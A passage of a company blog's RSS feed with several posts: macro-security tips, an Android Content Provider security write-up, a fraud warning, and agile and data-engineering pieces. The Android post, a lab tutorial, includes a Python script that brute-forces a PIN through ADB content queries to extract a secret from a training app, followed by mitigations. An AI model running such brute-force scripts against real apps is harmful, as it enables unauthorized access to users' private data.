Center → Trust Center Settings → Macro Settings</strong></li><li>Select <strong>“Disable all macros with notification”</strong> at minimum.</li></ul><h4>2. Only Enable Macros from Trusted Sources</h4><p>If you’re not sure where the file came from, <strong><em>don’t enable macros</em></strong>.</p><p>Always verify the source. If it seems suspicious, it probably is.</p><h4>3. Consider Safer Automation Alternatives</h4><p>You don’t always need macros. Instead, try:</p><ul><li><strong>Power Query</strong></li><li><strong>Office Scripts</strong> (for Excel on the web)</li></ul><p>These options are generally safer and easier to manage.</p><h4>4. Keep Software Up-to-Date</h4><p>Patches matter. Regularly update:</p><ul><li><strong>Microsoft Office</strong></li><li><strong>Your operating system</strong></li></ul><p>This helps close known security gaps.</p><h4>5. Raise Awareness in Your Team</h4><p>Most macro attacks work because someone unknowingly clicks “Enable.”<br>Run brief <strong>cybersecurity awareness sessions</strong> and promote a “<strong>Think Before You Click</strong>” culture in your team.</p><h3>Final Thoughts</h3><p>While Excel macros can be powerful tools for automation, they also pose serious security risks when misused. Cybercriminals frequently exploit VBA macros to deliver malware, steal data, and execute attacks silently. They often rely on users to unknowingly enable these dangerous scripts.</p><p>By understanding how malicious macros work, recognizing the signs of an attack, and adopting safe practices like disabling macros by default, verifying file sources, and exploring safer alternatives, we can significantly reduce the risk of macro-based threats.</p><p>Security starts with awareness. Stay alert, think before you click, and help build a cybersecurity-conscious culture in your organization.</p><p><em>DKatalis is hiring enthusiastic, brilliant talents from all around the world! Interested? Grab your opportunities</em> <a href="http://dkatalis.com/jobs"><strong>here</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8623fc74e843" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/the-hidden-dangers-of-excel-macros-8623fc74e843">The Hidden Dangers of Excel Macros</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mitigating Content Provider Risks in Android]]></title>
            <link>https://medium.com/dkatalis/apksec-ipc-exported-content-providers-d31fd7a1f978?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/d31fd7a1f978</guid>
            <category><![CDATA[android-content-providers]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 07:59:54 GMT</pubDate>
            <atom:updated>2025-03-25T07:59:53.962Z</atom:updated>
            <content:encoded><![CDATA[<h4>There are significant security risks when content sharing between apps are not managed properly.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0_FaQLg-6wLNm3ZefcPFw.png" /></figure><p>In the Android ecosystem, apps often need to share data with one another. Since Android applications run in separate processes by default, inter-process communication (IPC) is essential for enabling communication and data sharing between them. Content Providers are a common mechanism for this inter-app interaction, but if they are improperly exported, they can pose a significant security risk.</p><h4><strong>What are Content Providers?</strong></h4><p>Content Providers in Android are components that allow apps to manage access to a structured set of data. They provide a standardized interface to query, insert, update, or delete data and are commonly used to share data between apps, such as contacts, media files, or app-specific data.</p><p>When a Content Provider is marked as “exported,” it means that other applications can interact with it. While this is essential for enabling data sharing, it can also introduce significant security risks if not managed properly.</p><h4>Sample Case</h4><p><strong>Refer to</strong>: <a href="https://www.mobilehackinglab.com/link/m6xCsf?url=https%3A%2F%2Fwww.mobilehackinglab.com%2Fcourse%2Flab-secure-notes">https://www.mobilehackinglab.com/course/lab-secure-notes</a></p><pre>&lt;provider android:name=&quot;com.mobilehackinglab.securenotes.SecretDataProvider&quot; android:enabled=&quot;true&quot; android:exported=&quot;true&quot; android:authorities=&quot;com.mobilehackinglab.securenotes.secretprovider&quot;/&gt; <br>&lt;activity android:name=&quot;com.mobilehackinglab.securenotes.MainActivity&quot; android:exported=&quot;true&quot;&gt;  <br>    &lt;intent-filter&gt;  <br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;  <br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;  <br>    &lt;/intent-filter&gt;  <br>&lt;/activity&gt;</pre><p>As declared in the AndroidManifest.xml above, the com.mobilehackinglab.securenotes.secretprovider is a content provider that is <strong>exported</strong> (meaning it&#39;s accessible to other apps). This allows other applications to query data within it using content provider invocations.</p><h4>The Query Code</h4><pre>@Override // android.content.ContentProvider  <br>public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {  <br>    Object m130constructorimpl;  <br>    Intrinsics.checkNotNullParameter(uri, &quot;uri&quot;);  <br>    MatrixCursor matrixCursor = null;  <br>    if (selection == null || !StringsKt.startsWith$default(selection, &quot;pin=&quot;, false, 2, (Object) null)) {  <br>        return null;  <br>    }  <br>    String removePrefix = StringsKt.removePrefix(selection, (CharSequence) &quot;pin=&quot;);  <br>    try {  <br>        StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;  <br>        String format = String.format(&quot;%04d&quot;, Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(removePrefix))}, 1));  <br>        Intrinsics.checkNotNullExpressionValue(format, &quot;format(format, *args)&quot;);  <br>        try {  <br>            Result.Companion companion = Result.Companion;  <br>            SecretDataProvider $this$query_u24lambda_u241 = this;  <br>            m130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(format));  <br>        } catch (Throwable th) {  <br>            Result.Companion companion2 = Result.Companion;  <br>            m130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));  <br>        }  <br>        if (Result.m136isFailureimpl(m130constructorimpl)) {  <br>            m130constructorimpl = null;  <br>        }  <br>        String secret = (String) m130constructorimpl;  <br>        if (secret != null) {  <br>            MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{&quot;Secret&quot;});  <br>            $this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});  <br>            matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;  <br>        }  <br>        return matrixCursor;  <br>    } catch (NumberFormatException e) {  <br>        return null;  <br>    }  <br>}</pre><p>This query method is designed to handle a specific type of query where the selection must begins with &quot;pin=&quot;. It extracts the pin, formats it, and attempts to decrypt a corresponding secret. If successful, it returns the secret in a MatrixCursor. Otherwise, if any step fails (e.g., the pin is not properly formatted, or decryption fails), the method returns null.</p><p><strong>Try to call the content query directly via ADB</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLI6eemKiHb0uGIP4MtQ6A.png" /><figcaption>Call the com.mobilehackinglab.securenotes.secretprovider via ADB</figcaption></figure><p>It gives the response No result found. Could this be due to an incorrect pin input?</p><h4>Sample Attack</h4><p>Let’s try creating a script to guess the correct pin, then.</p><pre>import subprocess<br>from multiprocessing import Pool<br><br># Function to execute the ADB command for a given PIN<br>def execute_command(pin):<br>    pin_str = str(pin).zfill(4) # Convert PIN to 4-digit string format<br>    command = f&#39;adb shell &quot;content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where pin={pin_str}&quot;&#39;<br>    try:<br>        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)<br>        print(f&#39;PIN {pin_str} found: {output}&#39;)<br>    except subprocess.CalledProcessError as e:<br>        # Handle command execution errors (e.g., PIN not found)<br>        pass<br><br>if __name__ == &quot;__main__&quot;:<br>    # Number of processes to use (adjust as needed based on CPU cores)<br>    num_processes = 4<br><br>    # PIN range (0000 to 9999)<br>    pin_range = range(10000)<br><br>    # Create a pool of processes<br>    with Pool(num_processes) as pool:<br>        # Map the execute_command function to the PIN range<br>        pool.map(execute_command, pin_range)<br>    print(&#39;Bruteforce complete.&#39;)</pre><h4>Just run the Script</h4><pre>$ python snpin_force.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Fe85M_-nuNj-K_7qaVq-w.png" /><figcaption>Bruteforce the correct PIN</figcaption></figure><p>It seems we can successfully guess the correct PIN using the bruteforce script above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-BuDTJpU83HmzeYPRA1HA.png" /><figcaption>Call the com.mobilehackinglab.securenotes.secretprovider via ADB</figcaption></figure><h4>Conclusion</h4><p>The provided example demonstrates how an improperly exported Content Provider, such as the SecretDataProvider, can become a significant security vulnerability in Android applications. When a Content Provider is marked as exported, it becomes accessible to other apps, which can interact with it using specific queries. In this case, the query method of SecretDataProvider decrypts and returns sensitive data if a correct PIN is provided.</p><p>The security risk emerges because an attacker can exploit this functionality by brute-forcing the PIN via Android Debug Bridge (ADB). By using a script to systematically guess the correct PIN, an attacker can eventually access and retrieve sensitive information stored within the Content Provider. This underscores the importance of carefully managing the export status of components and implementing additional security measures to prevent unauthorized access to sensitive data in Android applications.</p><p>Here are some recommendations for the case above:</p><ul><li><strong>Limit Exporting:</strong> Only export Content Providers that are absolutely necessary for data sharing between authorized applications.</li><li><strong>Strong Authentication:</strong> Implement strong authentication mechanisms for accessing sensitive data through Content Providers. PINs alone might not be sufficient, consider multi-factor authentication.</li><li><strong>Input Validation:</strong> Validate user input to prevent brute-force attacks. Implement rate limiting or lockout mechanisms after a certain number of unsuccessful attempts.</li><li><strong>Secure Communication:</strong> Use secure communication channels when transferring data through Content Providers.</li></ul><p>By following these practices, developers can help mitigate the risks associated with exported Content Providers and protect user data.</p><h4><strong>References</strong>:</h4><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/">https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/</a></li><li><a href="https://www.mobilehackinglab.com/link/m6xCsf?url=https%3A%2F%2Fwww.mobilehackinglab.com%2Fcourse%2Ffree-android-application-security-course">https://www.mobilehackinglab.com/course/free-android-application-security-course</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d31fd7a1f978" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/apksec-ipc-exported-content-providers-d31fd7a1f978">Mitigating Content Provider Risks in Android</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beware of Fraudulent Activities Using DKatalis Name]]></title>
            <link>https://medium.com/dkatalis/beware-of-fraudulent-activities-using-dkatalis-name-e605050b687e?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/e605050b687e</guid>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Thu, 20 Mar 2025 03:53:49 GMT</pubDate>
            <atom:updated>2025-03-20T03:53:49.077Z</atom:updated>
            <content:encoded><![CDATA[<h4>Stay alert, vigilant, and cautious.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61r3Z1TfKvf93zibHDs3sw.jpeg" /></figure><p>We have been made aware of fraudulent attempts misusing our company’s name to deceive individuals in offering business and/or other opportunities.</p><p>DKatalis will not request personal information and/or payment in any form.</p><p>DKatalis is a technology company based in Jakarta and Singapore. We innovate and build digital solutions that drive digitalization. <strong>DKatalis currently does not have other business ventures outside of this area.</strong></p><p>Official statements and updates from DKatalis are only shared through our <a href="https://dkatalis.com/">official website</a> and social media channels.</p><p>If you receive suspicious messages, do not click on the links, share personal information, or make any requested financial transactions. Always verify through our official channels before taking any action.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e605050b687e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/beware-of-fraudulent-activities-using-dkatalis-name-e605050b687e">Beware of Fraudulent Activities Using DKatalis Name</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Balancing Output Delivery with Team Learning: The Key to Organizational Agility]]></title>
            <link>https://medium.com/dkatalis/balancing-output-delivery-with-team-learning-the-key-to-organizational-agility-ea139db58e6b?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/ea139db58e6b</guid>
            <category><![CDATA[agile]]></category>
            <category><![CDATA[organizational-culture]]></category>
            <category><![CDATA[way-of-working]]></category>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Fri, 13 Dec 2024 03:04:52 GMT</pubDate>
            <atom:updated>2024-12-13T03:36:45.987Z</atom:updated>
            <content:encoded><![CDATA[<h4>By <a href="https://www.linkedin.com/in/salman-mohd-sultan/">Salman Mohd Sultan</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK2qYgudA-_rtX-rntciwA.jpeg" /></figure><p>In today’s fast-paced, highly competitive business world, knowledge-based organizations must stay agile to thrive. But how can companies balance the need for swift output delivery with the equally important goal of fostering a culture of seamless knowledge sharing? The key lies in creating a balance that enables efficiency while allowing room for learning.</p><h4>The “Delivery First” mentality: A double-edged sword</h4><p>In an economy where speed and results often define success, it’s not surprising that companies emphasize fast delivery. You’ve likely heard the common mantras: “Move fast, fail fast,” “Be focused,” and “The early bird catches the worm.” These phrases reflect the pressure to work relentlessly to complete tasks as quickly as possible, sometimes taking shortcuts or bulldozing through processes just to maintain momentum.</p><p>Organizations often reward these high-efficiency employees — those who get things done quickly and meet tight deadlines — by promoting them and offering financial bonuses. On the surface, this seems like a great strategy: rewarding productive workers for their hard work. However, this focus on efficiency can have unintended consequences that undermine long-term success.</p><h4>The cost of overemphasis on efficiency</h4><p>When the drive for output takes precedence, employees may experience burnout, stress, and demotivation. They may begin to feel like they’re running on a hamster wheel, constantly producing without time to reflect or learn. Eventually, some of the most talented people leave, taking their knowledge and expertise with them, leaving the organization weaker and less able to adapt in the future.</p><p>It’s not that efficiency is inherently bad. Delivering results is crucial. However, an unrelenting focus on speed and output can harm the organization’s ability to innovate, learn, and share knowledge. Without space for reflection and collaboration, employees miss opportunities to uncover better ways of working, address unresolved challenges, and contribute to collective learning. Over time, this harms the organization’s adaptability and growth potential.</p><h4>The importance of fostering a learning culture</h4><p>Building a culture of learning is challenging enough, requiring openness to new knowledge, intellectual humility, and a willingness to experiment. However, when faced with the “delivery trumps all” mentality, it can lead to counterproductive behaviors:</p><ul><li><strong>Narrow focus on familiar tasks</strong>: Teams might prioritize tasks related to areas they’re already familiar with, avoiding new challenges or areas they don’t fully understand. This can prevent individual growth and product innovation.</li><li><strong>Working without collaboration</strong>: Rather than brainstorming or diagramming solutions together, team members may rely on their own limited knowledge, instead of engaging in collaborative problem-solving. Over time, this isolates new/weak team members and reduces the potential for cross-functional learning.</li><li><strong>Collaboration in name only</strong>: Teams might start with collaborative processes like breaking down work together, but eventually fall into the trap of executing work alone. As team members push themselves to deliver individual tasks quickly, they sacrifice collective problem-solving and shared learning.</li></ul><p>At its core, the belief that productivity equals success often results in individuals working in isolation, which hurts overall product quality and the organization’s ability to adapt. This can lead to a vicious cycle where customer satisfaction decreases, financial performance drops, and layoffs ensue — further weakening the company’s ability to pivot quickly and strategically.</p><h3>The power of learning as a team</h3><p>The antidote to the “delivery first” mentality lies in a simple belief: People learn best when they collaborate. This belief is crucial for a company’s long-term success. When team members share knowledge freely, they catch issues earlier, get feedback faster, and improve both the product and customer satisfaction. Over time, this leads to better product adoption, higher financial performance, and greater employee satisfaction, reinforcing the cycle of knowledge sharing and collaboration within teams.</p><p>Moreover, the more your team members work together and learn from each other, the stronger the organization becomes. When people feel they are learning and growing, they’re less likely to burn out, more likely to stay engaged, and more likely to keep their teams long-lived. This retention of knowledge and talent strengthens the company’s overall ability to adapt to changing market forces, ultimately leading to greater success.</p><blockquote>“All the project members who developed Epson’s first miniprinter were mechanical engineers who knew little about electronics at the start. So, the leader of the project team, who was also a mechanical engineer, returned to his alma mater as a researcher and studied electrical engineering for two years. He did this while the project was underway. By the time they had completed the miniprinter project, all the engineers were knowledgeable about electronics. “I tell my people to be well-versed in two technological fields and in two functional areas, like design and marketing,” the leader said. “Even in an engineering-oriented company like ours, you can’t get ahead without the ability to foresee developments in the market.”<br>Excerpt from <a href="https://hbr.org/1986/01/the-new-new-product-development-game.">https://hbr.org/1986/01/the-new-new-product-development-game.</a></blockquote><h4>Shifting the focus to learning through collaboration</h4><p>The goal is not to eliminate efficiency but to balance it with a culture that encourages continuous learning through collaboration. This requires a shift in mindset and intentional actions to build an environment where learning is valued as much as output. Here’s a way how you can start fostering a culture of collaboration and knowledge sharing:</p><h4>1. Map out existing domains and features</h4><p>If your team tends to work in silos, it can be easy for individuals to lose sight of what others are working on. Mapping out the business features your team is handling, and the technical domains you’re tackling will help everyone understand how their work fits into the bigger picture. It also enables team members to see where they can share knowledge and learn from others. This transparency boosts morale and reinforces the sense of collective achievement.</p><p>💡<em>Tip: Group related features together to give a clearer picture of your team’s domain and expertise.</em></p><h4>2. Assess knowledge levels across teams</h4><p>Knowledge sharing thrives in an environment of transparency. Encourage team members to identify what they know and what they don’t know, both about the business domain and the technical tools in use. This helps pinpoint areas where knowledge is concentrated or lacking, and it allows you to redistribute learning opportunities to ensure a more even distribution of expertise across the team.</p><p>💡<em>Tip: Vulnerability is imperative to the success of this step. It’s ok to admit we are not experts at something, and it’s ok to say we are just novices.</em></p><h4>3. Promote continuous learning within teams and between teams</h4><p>Remind your teams that every task is an opportunity to learn. Encourage them to tackle new challenges, explore unfamiliar areas, and collaborate with team members to broaden their knowledge. By breaking the cycle of repeating the same familiar technical tasks or business features, you open up opportunities for growth, creativity, and innovation.</p><p>Encourage collaboration between team members with diverse backgrounds and skill sets. Promote team members to temporarily join another team to share or gain knowledge. This cross-pollination of knowledge and expertise is especially valuable in feature teams, where individuals bring different perspectives to the table. The more teams learn from each other, the more adaptive the organization becomes.</p><p>💡<em>Tip: It’s imperative that management see their role as building long-term engineering and organizational capabilities by enabling teams to function autonomously and cross-functionally, as opposed to directing teams on what and how to deliver value to the organization.</em></p><h3>Conclusion</h3><p>Balancing delivery with learning is essential for maintaining an organization’s long-term success. By fostering a culture that values knowledge sharing and collaborative delivery, you empower your teams to solve problems more effectively. A commitment to learning will not only improve your product quality but also increase employee satisfaction, reduce turnover, and increase the organization’s ability to thrive in an ever-evolving business landscape.</p><p>So, next time you face the push to “deliver fast,” take a moment to consider the impact of that push and how your organization is also delivering value while maximizing learning. The result may be a more resilient, innovative, and successful future for your company as a whole.</p><p><em>Want to be a part of DKatalis and build the future of digital banking?</em> <a href="https://www.dkatalis.com/jobs"><strong>We’re hiring</strong></a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea139db58e6b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/balancing-output-delivery-with-team-learning-the-key-to-organizational-agility-ea139db58e6b">Balancing Output Delivery with Team Learning: The Key to Organizational Agility</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Refining the Refinement with Practical Experimentation and Feedback Loop]]></title>
            <link>https://medium.com/dkatalis/refining-the-refinement-with-practical-experimentation-and-feedback-loop-c2718b77e860?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/c2718b77e860</guid>
            <category><![CDATA[way-of-working]]></category>
            <category><![CDATA[agile]]></category>
            <category><![CDATA[product-backlog]]></category>
            <category><![CDATA[agile-methodology]]></category>
            <category><![CDATA[retrospectives]]></category>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 08:29:23 GMT</pubDate>
            <atom:updated>2024-12-11T08:18:56.048Z</atom:updated>
            <content:encoded><![CDATA[<h4>By <a href="https://www.linkedin.com/in/shirleyrompis/">Shirley Rompis</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q5S7kwZr-5rVLOWvHUX8ow.png" /></figure><p><em>Note:</em> <em>In case you are new to scrum, you might want to learn more about what a refinement looks like </em><a href="https://scrumtrainingseries.com/BacklogRefinementMeeting/BacklogRefinementMeeting.htm"><strong>here</strong></a>.</p><p>By the book, a <strong>product backlog refinement (PBR) session</strong> is the space for clan teams to intentionally discuss why a <strong>Product Backlog Item (PBI)</strong> is in the backlog list, what the smallest value expected it’s going to bring upon release to market is, and a little bit about how to deliver the item. This is also where knowledge sharing happens.</p><p>I intentionally use the phrase “<em>by the book</em>” because that’s the most favorable situation that Agile Coaches<strong> <em>hope for</em></strong><em> </em>during PBR.</p><h4><strong>Continuous Improvement in refinement</strong></h4><p>At DKatalis, we embrace the spirit of continuous improvement—not only for our products but also in the way we operate as an organization. Establishing a continuously improved working system will create a self-managing group of people who contribute to high-quality results.</p><p>So, we realized that not just our products, but also the way we work on them during the refinement session itself needs improvement. To this end, the Partnership &amp; Servicing (Clan) principal engineer invited staff engineers to observe the Servicing product area refinement sessions. The goal of the observers is to get data points on how the current refinement session is running, which will later become a reflection for teams to be aware of and create actions of improvement.</p><p>🚨<em> (Disclaimer: The observation and findings are based on sessions the Partnership and Servicing Clan runs. Other Clans might have different takes depending on their product area and team dynamic).</em></p><h4><strong>Observation of refinement sessions</strong></h4><p>While each team may have its own metrics to evaluate the effectiveness of a refinement session, there are some general areas worth considering:</p><ol><li><strong>Over-Engineering<br></strong>The team is unable to stop the discussion when it’s gone too deep into technical solutions. Why does this matter? Going too deep into a technical discussion will create an illusion of clarity to deliver the right value; hence, the team knows how to do it practically, but potentially, it will not deliver the valuable item or be over-engineered.</li><li><strong>Refine as You Go<br></strong>The team understands that items can be refined multiple times (refinement isn’t the last chance to discuss the items).</li><li><strong>Balancing Out<br></strong>There is a tendency to know everything (need to be clear on the ‘how’) before estimating and detailing all UACs in a single refinement. Hence, the team’s perception of estimation as the measurement of delivery must be detailed and precise.</li></ol><p>Understanding the current situation gathered from observation data points, Agile Coaches and some of the staff engineers agreed to make requests for improvement to the team.</p><h4><strong>Refinement Session: Request for Improvement</strong></h4><p>After breaking down the observation findings, the Agile Coaches shared them with the whole clan at the start of the PBR session to provide transparency in the collaboration. They then share the request for improvements.</p><p>The crucial thing about <strong>requests</strong> is to create space for the team to <strong>clarify</strong> each request. That’s where an Agile coach takes time to align the expectations and the team’s perception. During clarification of the improvement request, the team validated their understanding of what the improvements might look like.</p><p>At the end of the clarification, the team gave their agreement to try implementing the improvement points and to experiment with them immediately in the refinement session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SXJyucdlNDRVm2Fs" /></figure><h4><strong>Refinement Session: Experimentation on improvement points</strong></h4><p>After the PBR session, the Agile coach shared direct observations and highlighted the improvements that teams have made as follows:</p><p><strong>1. Better Time Management<br></strong>2 out of 3 mixed groups were able to identify when they had to wrap up a discussion on an item and move on to the next, even if the timebox was not finished.</p><p><strong>2. Stakeholder Identification<br></strong>1 out of 3 mixed groups was able to identify irrelevant stakeholders/users in the room and requested the right stakeholders to join the discussion.</p><p><strong>3. Self-Managed Facilitation<br></strong>2 out of 3 mixed groups are self-managed in appointing a ‘champion’ as a facilitator within the mixed group. The presence of facilitators is necessary in PBR sessions, as they are the personnel who help create the opportunity for the team to speak up their thoughts and guide the discussion towards a common goal (PBR goal of discussion). They also <em>actively listen to the conversation, observe dynamics, and intervene when necessary</em>. As mentioned earlier, Agile Coaches usually take on this role. However, Product Managers, Designers, or Engineers could also assume this role depending on the product areas.</p><h4><strong>Lessons from the experimentation</strong></h4><p>Clear requests for improvement and aligning expectations can lead to significant progress. From our experimentation. Here are key points to consider when pursuing more effective refinements for the sake of better delivery:</p><ol><li><strong>Increasing Awareness<br></strong>The team might not be aware of what they often do. Hence, sharing observation points transparently helps teams become more aware of their actions and behaviors.</li><li><strong>Empowerment<br></strong>Giving teams the power and responsibility to modify how they work may lead to impactful changes.</li><li><strong>Clear Communication and Transparency<br></strong>As the Agile Coaches did before the refinement session started, it’s important to clarify when requesting improvement from the team, making sure the team has the same understanding.</li><li><strong>It’s an ongoing Process<br></strong>As we begin to empower team members to become facilitators, they need continuous support for facilitators to grow their skills. As they gain more experience by facilitating group discussion in refinement, their skills will grow, supplemented by feedback and guidance from seasoned facilitators.</li></ol><p>Sometimes, we can become so focused on one aspect that we overlook others. Hopefully, this article could inspire more teams to reflect on their refinement sessions and explore ways to enhance them.</p><p>We&#39;d also love to hear from you if you’ve had similar experiences or insights. Please share them in the comments!</p><p><em>Want to be a part of the culture of continuous learning and growth? </em><a href="http://dkatalis.com/jobs"><strong>Join DKatalis</strong></a><em>, we don’t byte </em>😉<em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2718b77e860" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/refining-the-refinement-with-practical-experimentation-and-feedback-loop-c2718b77e860">Refining the Refinement with Practical Experimentation and Feedback Loop</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Panic to Pipeline: Surviving Midnight Crisis as a Data Engineer]]></title>
            <link>https://medium.com/dkatalis/from-panic-to-pipeline-surviving-midnight-crisis-as-a-data-engineer-b3793832d248?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/b3793832d248</guid>
            <dc:creator><![CDATA[Rizal Ardiyanto]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 06:16:35 GMT</pubDate>
            <atom:updated>2024-09-09T06:16:35.175Z</atom:updated>
            <content:encoded><![CDATA[<h4>Lessons learned from a sudden discovery of missing data.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUVSyOqlKnCmhn0rwNm-ww.png" /></figure><p>It was another night when my phone buzzed with a Slack call from my Boss. The message read: “Hey, the data in this table has been missing for two months. What’s going on?” Instantly, my heart was racing hard. Two months???</p><p>I jumped out of bed and fired up my laptop. Running a quick query on the table confirmed my worst fears. The last entry was from two months ago, and OMG, a significant chunk of data was missing.</p><p>Have you ever had one of these nights?</p><p>If you’re a Data Engineer, you’ll probably resonate with my story. I’m here to share what I went through and how I came out alive, somewhat peacefully. I was rushing, digging, and searching frantically; what the heck was wrong!!</p><p>I probably discovered the possible root cause of the issue: an archaic Airflow pipeline that no one knows about. It was one of those can-of-worms experiences I had long ago, something forgotten yet continuing to run quietly in the background. I tried rerunning the pipeline, hoping for a quick fix, but no luck. The task kept failing.</p><p>Diving into the error logs, I discovered the Airflow task was trying to connect to an IP address belonging to a foreign MySQL Database (not a URL or hostname).</p><p>At this point, I was panicking. I had no clue what was what and needed to find someone who knew about this ASAP. I reached out to any of my teammates, asking if anyone had any idea about this mysterious MySQL server. Finding the right person was not easy since it was so early in the day.</p><p>After what felt like an eternity (two whole days, actually), someone mentioned to me that the IT Infrastructure team would know this.</p><p>I hopped on a WhatsApp call with the infra guy, who was also still wide awake in the middle of the night, trying to fix things. It turned out that the IP address had been changed due to a recent disaster recovery (DR) exercise (that needs to turn on and off the application database).</p><p>He scrambled to locate the new IP address. Once we had it, I updated the Airflow connection to point to the new IP. And just like that, the pipeline worked again!</p><p>It was a painful process but a victory nonetheless.</p><h4><strong>The challenge continued</strong></h4><p>With the pipeline back online, the next challenge was to rerun all the failed jobs from the past two months. Fortunately, the data volume was relatively small (a few hundred records per day), so backfilling was a breeze. We could load all the missing data back into the table in less than two hours.</p><p>But the story didn’t end there. For two months, we had been reporting incomplete data to the regulators (I work for a Retail Bank). We now had to gather all impacted people, draft a formal memo, and plan for data remediation.</p><p>In the end, we had to submit some corrections to the Regulator. It wasn’t a big deal, but it did cost us some money (due to the correction report). It was frustrating, for sure, but in the grand scheme of things, it could have been much worse.</p><h4><strong>What can we learn?</strong></h4><p>This story was definitely NOT how you live peacefully as a Data Engineer, but there are some lessons that I hope we all can take<strong>:</strong></p><ul><li><strong>Do a full scan on legacy systems</strong>: Just because something is old doesn’t mean it is irrelevant. Regularly review and enhance these old pipelines.</li><li><strong>Documentation is a must</strong>: If there’s an important pipeline or connection (e.g., one consumed for regulatory reporting), make sure it’s documented. That way, if something breaks, you’re not starting from scratch.</li><li><strong>Stay connected</strong>: When things go south, it is all about who you know. Build good communication lines with teams from upstream (application) to downstream (business users)</li></ul><p>Finally, sometimes, the only way you learn about critical problems is through such incidents. So make sure you stay adaptable and are ready for anything!</p><p><em>Hey, you look familiar! Perhaps you are our next Katalis? Join the adaptive and innovative team in building the future of life-centric digital banking </em><a href="http://dkatalis.com/jobs"><strong><em>here</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3793832d248" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/from-panic-to-pipeline-surviving-midnight-crisis-as-a-data-engineer-b3793832d248">From Panic to Pipeline: Surviving Midnight Crisis as a Data Engineer</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>